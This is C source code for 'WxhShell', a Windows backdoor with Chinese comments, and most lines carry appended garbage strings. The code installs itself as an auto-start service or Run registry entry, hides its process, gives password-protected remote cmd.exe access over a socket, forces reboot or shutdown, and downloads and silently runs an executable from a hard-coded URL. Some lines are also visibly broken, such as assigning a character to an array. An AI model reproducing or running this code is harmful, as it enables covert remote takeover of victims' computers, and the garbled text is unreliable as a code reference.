    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "v/^nH  
    if(Boot(SHUTDOWN)) )FT~gl%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:6H%6eT  
    else { "w= p@/C  
    closesocket(wsh); DUEA"m h  
    ExitThread(0); U# Y ?'3:  
    } ?*K;+@EH  
    break; f'\I52;FB  
    } G%;XJsFGp  
  // 获取shell Kl{2^ q>  
  case 's': { ,AGK O,w  
    CmdShell(wsh); =r3Yt9  
    closesocket(wsh); !;pmql  
    ExitThread(0); V%dMaX>^i  
    break; LPb43  
  } FT/H~|Z>  
  // 退出 Dd<gYPC  
  case 'x': { idvEE6I@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  UB&ofO  
    CloseIt(wsh); b.47KJzt  
    break; y&t&'l/m  
    } f,d @*E  
  // 离开  S&]+r<  
  case 'q': { 4?><x[l2{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &qz&@!`  
    closesocket(wsh); #p&iH9c_  
    WSACleanup(); 91E!4t}I  
    exit(1); e%`gD*8  
    break; VvSD &r^qI  
        } :RzcK>Gub=  
  } 5ap}(bO  
  } Y~dRvt0_w  
M7Cq)cT  
  // 提示信息 :35J<oG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [esjR`u  
} u]@``Zb|  
  } JMuUj_^}7  
^USj9HTK  
  return; Au#(guvm  
} 0?BT*  
Ooc,R(  
// shell模块句柄 Zla5$GM  
int CmdShell(SOCKET sock) $n(?oyf  
{ g}{Rk>k  
STARTUPINFO si; j^llO1i/  
ZeroMemory(&si,sizeof(si)); 1m|Oi%i4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BqvOi~ l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )_ NQ*m  
PROCESS_INFORMATION ProcessInfo; FfI $3:9  
char cmdline[]="cmd"; xVuGean Cv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j +@1frp  
  return 0; =y,_FFoS  
} _:+W0YS  
D2E~ c? V  
// 自身启动模式 D`3}j  
int StartFromService(void) ?#ndMv!$  
{ ZL#4X*zT  
typedef struct \s`'3y  
{ G2ZF`WQ  
  DWORD ExitStatus; %N|7<n<S  
  DWORD PebBaseAddress; Y gQ_P4B;  
  DWORD AffinityMask; } !pC}m  
  DWORD BasePriority; $7jJV(B  
  ULONG UniqueProcessId; (+4gq6b  
  ULONG InheritedFromUniqueProcessId; zc'!a"  
}   PROCESS_BASIC_INFORMATION; )+RGXV p  
4fr/ C5M  
PROCNTQSIP NtQueryInformationProcess; 1N x%uz  
{O5;V/00}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f6PXcV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 64#~p)  
L,[0*h  
  HANDLE             hProcess; p W:[Q\rSj  
  PROCESS_BASIC_INFORMATION pbi; Q pz01x  
8~ .r/!wfy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r|fJ~0z  
  if(NULL == hInst ) return 0; &w*.S@  ;  
6f?5/hq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !a[ voUS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'dQ2"x?4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |bi"J;y  
I/|)?  
  if (!NtQueryInformationProcess) return 0; ~kS~v  
r5(OH3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `dMOBYV  
  if(!hProcess) return 0; g`y >)N/  
}LM^>M%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (5_l7hWY  
uWG'AmK_#E  
  CloseHandle(hProcess); isj<lnQ  
.P# c/SQp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ``1#^ `  
if(hProcess==NULL) return 0; P{)&#HXUVb  
5f=e JDo=x  
HMODULE hMod; FxKH?Rl  
char procName[255]; |m"2B]"@  
unsigned long cbNeeded; -F4CHpua  
O#H`/z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YCeE?S1gk3  
ZJP.-`U  
  CloseHandle(hProcess); - tF5$pb'  
#`:60#l  
if(strstr(procName,"services")) return 1; // 以服务启动 \'GX^0yK  
Al$"k[-Uin  
  return 0; // 注册表启动 xRv1zHZ  
} {p 9y{$  
I=D`:u\H  
// 主模块 > 9JzYI^  
int StartWxhshell(LPSTR lpCmdLine) _ Eq:Qbw#  
{ \$VtwVQ,b  
  SOCKET wsl; |C=^:@}ri?  
BOOL val=TRUE; h K@1 s  
  int port=0; qX0IHe  
  struct sockaddr_in door; I:]s/r7  
Vd)iv\a  
  if(wscfg.ws_autoins) Install(); e&8pTD3  
}Da8S|)H  
port=atoi(lpCmdLine); 9gn_\!Mp  
CYEqH2"3  
if(port<=0) port=wscfg.ws_port; YXg:cXE8e  
_:c8YJEG{  
  WSADATA data; < hZA$.W3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }qc[ysDK]  
(vz)GrH>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d7It}7@9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W2%(a0p  
  door.sin_family = AF_INET; 5;>M&qmN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z&s+*& TM  
  door.sin_port = htons(port); ;T"}dJel#  
6IPhy.8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { za<Ja=f9X  
closesocket(wsl); zXbTpm  
return 1; Gw~^6(Qu  
} J^ P/2a#a  
cP$b>3O  
  if(listen(wsl,2) == INVALID_SOCKET) { G&/}P$  
closesocket(wsl); ^(N+s?  
return 1; "0`r]5 5d  
} k1$|vzMh  
  Wxhshell(wsl); <Sm =,Sw  
  WSACleanup(); k:m~'r8z  
f3y_&I+zl  
return 0; I?4J69'  
V F6OC4 K  
} 7T_g?!sdMh  
@s/;y VVq  
// 以NT服务方式启动 x\3 ` W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 89`AF1  
{ _<pG}fmR  
DWORD   status = 0; |ng[s6uf  
  DWORD   specificError = 0xfffffff; 9C|T/+R  
9 ?MOeOV8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u 6 la  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <C+ :hsS=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {8@?9Z9R{  
  serviceStatus.dwWin32ExitCode     = 0; .Z8 x!!Q*  
  serviceStatus.dwServiceSpecificExitCode = 0; udp&U+L  
  serviceStatus.dwCheckPoint       = 0; un W{ZfEC  
  serviceStatus.dwWaitHint       = 0; p tv  
6:-qL}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @r+ErFI  
  if (hServiceStatusHandle==0) return; (66X  
gLl?e8[F  
status = GetLastError(); pF K[b  
  if (status!=NO_ERROR) z+PSx'#}  
{ _f|Au`7m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DcSL f4A  
    serviceStatus.dwCheckPoint       = 0; ]'~'V2Ey  
    serviceStatus.dwWaitHint       = 0; 1^!= J<`K;  
    serviceStatus.dwWin32ExitCode     = status; |]+m<Dpyr2  
    serviceStatus.dwServiceSpecificExitCode = specificError; Arir=q^2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Hff/~J  
    return; H",yVD  
  } 73Mh65  
r$k *:A$%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o$d; Y2K  
  serviceStatus.dwCheckPoint       = 0; y\5V (Q\  
  serviceStatus.dwWaitHint       = 0; S,G=MI"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +_:Ih,-   
} 0m7J'gm{  
XLqS{r~?  
// 处理NT服务事件,比如:启动、停止 `q7I;w+g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9@QP?=\Y  
{ 1_7x'5GdA  
switch(fdwControl) TjD`< k  
{ %j2YCV7  
case SERVICE_CONTROL_STOP: eK/[jxNO  
  serviceStatus.dwWin32ExitCode = 0; U QXT&w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Haj`mc!<D0  
  serviceStatus.dwCheckPoint   = 0; >bz}IcZP  
  serviceStatus.dwWaitHint     = 0; IJS9%m#  
  { .A\9|sRZ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T6O Ib  
  } Tud[VS?99  
  return; &:akom8  
case SERVICE_CONTROL_PAUSE: 0e q>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9S=9m[#y'  
  break; \{{B57/Isq  
case SERVICE_CONTROL_CONTINUE: o6xl,T%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E|6X.Ny]   
  break; fU>"d>6!S  
case SERVICE_CONTROL_INTERROGATE: $o/ ?R]h  
  break; J:#B,2F+^  
}; oF]0o`U&a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E`LML?   
} Fd5{pM3  
+Y)rv6}m  
// 标准应用程序主函数 J24UUZ9&$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H&mw!=FV0  
{ ReZ|q5*  
"E/F{6NH  
// 获取操作系统版本 wF?THkdFo  
OsIsNt=GetOsVer(); TL]2{rf~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >/1.VT\E  
"JJ )w0  
  // 从命令行安装 aODOc J N  
  if(strpbrk(lpCmdLine,"iI")) Install(); |;OM,U2  
ZN%$k-2  
  // 下载执行文件 'V 1QuSd  
if(wscfg.ws_downexe) { aWOApXJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JaG<.ki  
  WinExec(wscfg.ws_filenam,SW_HIDE); (cNT ud$  
} S@N&W&W#~  
#`y7L4V*o  
if(!OsIsNt) { {s=QwZdR  
// 如果时win9x,隐藏进程并且设置为注册表启动 aina6@S  
HideProc(); &IXr*I  
StartWxhshell(lpCmdLine); UbY-)9==  
} JY9Hqf  
else e#FaK^V  
  if(StartFromService()) sw{EV0&>m  
  // 以服务方式启动 `5[VO  
  StartServiceCtrlDispatcher(DispatchTable);  <gf:QX!  
else ?v8RY,Q30  
  // 普通方式启动 ~}8 3\LI}  
  StartWxhshell(lpCmdLine); 9zi/z_G  
<MT_zET  
return 0; ~u,g5  
} i1FFf[[L  
1swh7  
/~J#c=  
0/{-X[z  
=========================================== aJI>qk h?]  
S U2`H7C*  
6M+~{9(S  
*=@Z\]"?  
;&Eu< %y  
|=jgrm1yj  
" `j_R ?mY  
<| Xf4.  
#include <stdio.h> $'?CY)h{  
#include <string.h> jpm}EOq<%  
#include <windows.h> ""CJlqU  
#include <winsock2.h> I*6L`#j[  
#include <winsvc.h> [#3:CDT  
#include <urlmon.h> HmbTV(lC  
G dL\  
#pragma comment (lib, "Ws2_32.lib") 8N ci1o  
#pragma comment (lib, "urlmon.lib") ` mALx! `  
w V2 7  
#define MAX_USER   100 // 最大客户端连接数 6tzZ j:y q  
#define BUF_SOCK   200 // sock buffer Ujq)h:`  
#define KEY_BUFF   255 // 输入 buffer &[R&@l Y  
( 5_oH  
#define REBOOT     0   // 重启 YA{Kgc^  
#define SHUTDOWN   1   // 关机 [OH>NpL  
T_v  
#define DEF_PORT   5000 // 监听端口 ou,W|<%  
nHyWb6  
#define REG_LEN     16   // 注册表键长度 G\jr^d\  
#define SVC_LEN     80   // NT服务名长度 5XFhjVmEL  
EU>@k{Qt  
// 从dll定义API -_>c P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8ru@ 8|r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F3';oyy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rAP+nh ans  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N|1J@"H  
*Vv ;NA/  
// wxhshell配置信息 1;.}u= 8  
struct WSCFG { u+8_et5T  
  int ws_port;         // 监听端口 <pK; D  
  char ws_passstr[REG_LEN]; // 口令 gJ vc<]W8!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2kCJqyWy  
  char ws_regname[REG_LEN]; // 注册表键名 iLv"ZqGrw  
  char ws_svcname[REG_LEN]; // 服务名 ^4 es  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5>h2WL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 //H+S q66  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _or$^.='  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X903;&Cim  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _I5p 7X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ' nf"u  
>a_K:O|AJ  
}; <C${1FO7If  
?G!^ |^S*  
// default Wxhshell configuration nez5z:7F  
struct WSCFG wscfg={DEF_PORT, g.F{yX]  
    "xuhuanlingzhe", F^A1'J  
    1, +/x|P-  
    "Wxhshell", ; h/Y9uYn  
    "Wxhshell", _IT,>#ba  
            "WxhShell Service", 8b6:n1<fn  
    "Wrsky Windows CmdShell Service", 6D0uLh  
    "Please Input Your Password: ", ',juZ[]_ {  
  1, g&_0)(a\  
  "http://www.wrsky.com/wxhshell.exe", -bo0!@MK  
  "Wxhshell.exe" d=lZhqY  
    };  ^B1vvb  
EMs$~CL4  
// 消息定义模块 My)}oN7\z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; - VR u^l#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4fP>;9[F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ij#%Qu  
char *msg_ws_ext="\n\rExit."; tkNuM0  
char *msg_ws_end="\n\rQuit."; ':.d,x)  
char *msg_ws_boot="\n\rReboot..."; F\,3z7s  
char *msg_ws_poff="\n\rShutdown..."; Y`lC4*g  
char *msg_ws_down="\n\rSave to "; Z [68ji]  
<;v{`@\j{  
char *msg_ws_err="\n\rErr!"; x6:$lZ(  
char *msg_ws_ok="\n\rOK!"; ~POe0!}  
#H7(dT  
char ExeFile[MAX_PATH]; l9P~,Ec4''  
int nUser = 0; ukG1<j7.  
HANDLE handles[MAX_USER]; 1AoBsEnd  
int OsIsNt; e^Jy-?E  
M}38uxP  
SERVICE_STATUS       serviceStatus; ^@{'! N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^0X86  
w :^b3@gd  
// 函数声明 [DjdR_9*I  
int Install(void); ;9u6]%hQTX  
int Uninstall(void); W]6Y buP:  
int DownloadFile(char *sURL, SOCKET wsh); #n~/~*:i92  
int Boot(int flag); #;?z<  
void HideProc(void); L$7v;R3  
int GetOsVer(void); sjShm  
int Wxhshell(SOCKET wsl); CgEeO,N]j  
void TalkWithClient(void *cs); 7p u*/W~  
int CmdShell(SOCKET sock); FUq@ dUv  
int StartFromService(void); +twBFhS7k  
int StartWxhshell(LPSTR lpCmdLine); ?+`Zef.g  
3z ~zcQ^\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @X1>Wv|[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "b -KVZ  
WGp81DNS|  
// 数据结构和表定义  0m*0I >  
SERVICE_TABLE_ENTRY DispatchTable[] = *pI3"_  
{ 0B3*\ H}5  
{wscfg.ws_svcname, NTServiceMain}, $9Z8P_^.0(  
{NULL, NULL} eDTEy;^o  
}; eZP"M 6  
';b/D   
// 自我安装 (qB$I\  
int Install(void) QdDdrR^&  
{ 8i X?4qj{P  
  char svExeFile[MAX_PATH]; PPE:@!u<  
  HKEY key; , JVD ;u  
  strcpy(svExeFile,ExeFile); }\l5|Ft[!  
QD"V=}'?  
// 如果是win9x系统,修改注册表设为自启动 3R4-MK  
if(!OsIsNt) { n %"s_W'E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,`-6!|:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~rn82an@G  
  RegCloseKey(key); &a48DCZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rBgLj,/`U/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o @&#*3<_e  
  RegCloseKey(key); /i^b;?/1  
  return 0; ZH&%D*a&  
    } EZBk;*= B  
  } <M+ZlF-`  
} f}XUxIQ-<  
else { dVCBpCxI  
NUx%zY  
// 如果是NT以上系统,安装为系统服务 x#Hq74H,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UXIq>[2Z1  
if (schSCManager!=0) .F 3v)  
{ 2v%~KV  
  SC_HANDLE schService = CreateService 7%)4cHZ^$?  
  ( 0YIvE\-  
  schSCManager, ChmPO|2F  
  wscfg.ws_svcname, vK2L"e  
  wscfg.ws_svcdisp, `n5|4yaG~  
  SERVICE_ALL_ACCESS, "p$`CUtI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ] J:^$]  
  SERVICE_AUTO_START, hnG'L*HooE  
  SERVICE_ERROR_NORMAL, *W# x#0j  
  svExeFile, 9>%f99n  
  NULL, v*3ezf\  
  NULL, Lxd*W2$3_  
  NULL, {f3T !e{  
  NULL, ^5"s3Qn  
  NULL )+cP8$n6L  
  ); | L fH,6  
  if (schService!=0) H;IG\k6C  
  { 4b6$Mj  
  CloseServiceHandle(schService); tr/S*0$  
  CloseServiceHandle(schSCManager); KY4|C05 ,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); atW;S99#  
  strcat(svExeFile,wscfg.ws_svcname); tlvLbP*r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZH~m%sA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hyq| %\A  
  RegCloseKey(key); CQ3;NY=o  
  return 0; s*(Y<Ap7d  
    } Ibpk\a?A{  
  } G9}[g)R*  
  CloseServiceHandle(schSCManager); /r}t  
} E!3W_:Bs  
} - n11L  
n%Nf\z  
return 1; a.c2ScXG  
} ]6$NU [  
r=qb[4HiV  
// 自我卸载 yuKfhg7  
int Uninstall(void) xE4T\%-K  
{ g-')|0py  
  HKEY key; { -<h5_h@  
<7)Vj*VxC  
if(!OsIsNt) { [ &R-YQ@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t{84ioJ"$  
  RegDeleteValue(key,wscfg.ws_regname); hDVD@b  
  RegCloseKey(key); QD / | zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y@#~8\_  
  RegDeleteValue(key,wscfg.ws_regname); eMWY[f3  
  RegCloseKey(key); mn 8A%6W  
  return 0; T6AFwo,Q  
  } {WFYNEQ[  
} R2u[IVZW:-  
} T<p>:$vo  
else { `\O[9.B  
u5T \_0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %2/WyD$U  
if (schSCManager!=0) mL3'/3-7:V  
{ }54\NSj0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ct #hl8b:  
  if (schService!=0) #T !YFMh;  
  { |{ *ce<ip5  
  if(DeleteService(schService)!=0) { }$g5:k!  
  CloseServiceHandle(schService); ?^,GaZ^V  
  CloseServiceHandle(schSCManager); <}i\fJX6  
  return 0; ng<|lsZd  
  } gEPCXf  
  CloseServiceHandle(schService); uOm fpgO  
  } r1F5&?{q  
  CloseServiceHandle(schSCManager); J+Y&a&j.  
} e|Lh~sVq  
} NaAq^F U  
|$6Gp Aq!  
return 1; PT>,:zY  
} M|Z] B<_x  
HHg=:>L z  
// 从指定url下载文件 MZ% P(5  
int DownloadFile(char *sURL, SOCKET wsh) qK(? \ t$  
{ S }fIZ1  
  HRESULT hr; 6=|Q>[K  
char seps[]= "/"; @8V8gV? zm  
char *token; Z>Sv[Ec  
char *file; 2+y4Gd 7  
char myURL[MAX_PATH]; RZDZ3W(;h  
char myFILE[MAX_PATH]; 8FbBv"LI,g  
J*$ !^\s  
strcpy(myURL,sURL); *B@<{x r  
  token=strtok(myURL,seps); +a;: 7[%&  
  while(token!=NULL) Qv']*C[!z  
  { ~-'nEATE  
    file=token; aD%")eP%&  
  token=strtok(NULL,seps); X0P<ifIv  
  } C]eb=rw$  
P#76ehR]K  
GetCurrentDirectory(MAX_PATH,myFILE); shP,-Vs #  
strcat(myFILE, "\\"); #gi&pR'$  
strcat(myFILE, file); W;Fcp  
  send(wsh,myFILE,strlen(myFILE),0); =]etw  
send(wsh,"...",3,0); J#'c+\B<2X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CUY2eQJ{U  
  if(hr==S_OK) %Ix^Xb0  
return 0; 2/(gf[elX  
else tPFV6n i  
return 1; L(AY)gB  
gIRFqEz@o  
} TLO-$>h  
8G(wYlxi  
// 系统电源模块 ;~xkT'  
int Boot(int flag) D Q~+\  
{  UIhB  
  HANDLE hToken; cBc6*%ZD  
  TOKEN_PRIVILEGES tkp; !k%Vw1 8  
hM+nA::w  
  if(OsIsNt) { s )_sLt8?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P+oCcYp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u3"F7 lJ  
    tkp.PrivilegeCount = 1; HLTz|P0JZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Ni2Gkf@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =}_c=z?UY  
if(flag==REBOOT) { *i)GoQoB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0( /eSmet  
  return 0; [,G]#<G?q  
} `Mp]iD {  
else { GRlA 9Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &ec_jxF  
  return 0; zBqr15  
} C.(<KV{b  
  } ,!u^E|24  
  else { #YhKAG@|  
if(flag==REBOOT) { saYn\o"m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]3Mm"7`  
  return 0; F~<$E*&h@  
} e|]g ?!  
else { _khQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7|"11^q  
  return 0; -XD\,y%zi  
} RI-whA8+  
} o$Hc5W([Z  
DHm$gk  
return 1; ou96 P<B  
} Gz ^g!N[  
24|:VxO  
// win9x进程隐藏模块 kD"dZQx  
void HideProc(void) wBCnP  
{ sHh2>f@x$  
WET $H,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r\_aux^z  
  if ( hKernel != NULL ) l,sYYU+iY  
  { )M^;6S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \h _hd%'G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ${e(#bvGZ  
    FreeLibrary(hKernel); tHhY1[A8m  
  } 6S ]GSS<  
[yjC@docH  
return; iY.~N#Q  
} `M"b L|[R  
"eGS~-DVK  
// 获取操作系统版本 p7 2+:I  
int GetOsVer(void) cC WOG d  
{ -hhE`Y  
  OSVERSIONINFO winfo; /sJk[5!z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cg)#B+  
  GetVersionEx(&winfo); %l3RM*zb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?mgr #UN  
  return 1; kZF\V7k  
  else {TUCa  
  return 0; {`l]RIig  
} I caIB)  
f{^n<\Jh  
// 客户端句柄模块 ^<sX^V+{  
int Wxhshell(SOCKET wsl) 2ZLK`^S  
{ x7{,4js  
  SOCKET wsh; QR79^A@5  
  struct sockaddr_in client; $#"}g#u  
  DWORD myID; zz02F+H$Y  
Zad+)~@!tq  
  while(nUser<MAX_USER) | %6B#uy  
{ w&C SE  
  int nSize=sizeof(client); =fG(K!AQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QZQ@C#PR;  
  if(wsh==INVALID_SOCKET) return 1; ;|9VPv/  
o)1wF X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9n9/[?S  
if(handles[nUser]==0) QF-.")Z  
  closesocket(wsh); 1mA)=hu  
else Ig$5Ui  
  nUser++; n>Zkx+jLj<  
  } ) @))3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?86h:9  
Bg7?1m  
  return 0; <J`_Qc8C  
} {"4t`dM  
"@`M>)*o  
// 关闭 socket ?V*>4A  
void CloseIt(SOCKET wsh) LnR3C:NO k  
{ +wT,dUin_<  
closesocket(wsh); 7 yF#G9,  
nUser--; '90B),c{  
ExitThread(0); :!{aey  
} uiHlaMf  
`EWeJ(4Z@  
// 客户端请求句柄 )Tb{O  
void TalkWithClient(void *cs) b/ZX}<s(1=  
{ :(I)+;M}P  
@JN%P} 4)  
  SOCKET wsh=(SOCKET)cs; )t)tk=R9N  
  char pwd[SVC_LEN]; 4 Ag+  
  char cmd[KEY_BUFF]; U.>n]/&  
char chr[1]; ,9W0fm \t  
int i,j; vi lNl|  
,wZ[Y 3  
  while (nUser < MAX_USER) { !gJAK<]iW  
R<JI  
if(wscfg.ws_passstr) { Hi.JL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = ng\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5<d Y,FvX  
  //ZeroMemory(pwd,KEY_BUFF); P=u)Q _  
      i=0; nc$?tC9V  
  while(i<SVC_LEN) { 1d-j_ H`s  
lzuPE,h  
  // 设置超时 x-%nnC6e  
  fd_set FdRead; h"ZF,g;a  
  struct timeval TimeOut; d@#=cvW  
  FD_ZERO(&FdRead); 5'oWd e  
  FD_SET(wsh,&FdRead); *%8,G'"r?  
  TimeOut.tv_sec=8; %tQIKjsVaY  
  TimeOut.tv_usec=0; M c@p~5!M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }14.u&4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X Phw0aV  
_$Z46wHmB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Do2y7,jv  
  pwd=chr[0]; S"N@.n[  
  if(chr[0]==0xd || chr[0]==0xa) { LU;ma((yy[  
  pwd=0; c}rRNS$F  
  break; ;{HxY98Q  
  } mP:mzmUw  
  i++; 5HOhk"  
    } ;5 IS58L  
X>*zA?:  
  // 如果是非法用户,关闭 socket #2u-L~n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zvr(c|Q  
} `=CF | I  
-U; s,>\)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [~jh Ov^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tK8\Ib J  
E}" &? oY  
while(1) { %M'"%Yn@(y  
X}p4yR7'  
  ZeroMemory(cmd,KEY_BUFF); ;B1}so1]  
lkw[Z}\  
      // 自动支持客户端 telnet标准   Li<c  
  j=0; k$I[F<f  
  while(j<KEY_BUFF) { Dw.>4bA.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7a@V2cr@  
  cmd[j]=chr[0]; ,ew<T{PL  
  if(chr[0]==0xa || chr[0]==0xd) { ",~3&wx  
  cmd[j]=0; EE%OD~u&9#  
  break; ?$r+#'asd(  
  } 3&2,[G04  
  j++; U ][.ioc  
    } bF B;N+>  
^P{'l^CVX  
  // 下载文件 hXM C!~Th  
  if(strstr(cmd,"http://")) { Ea P#~x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +S3'ms  
  if(DownloadFile(cmd,wsh)) %81tVhg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N'$Y*. d<  
  else CQv [Od  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^g~-$t<!  
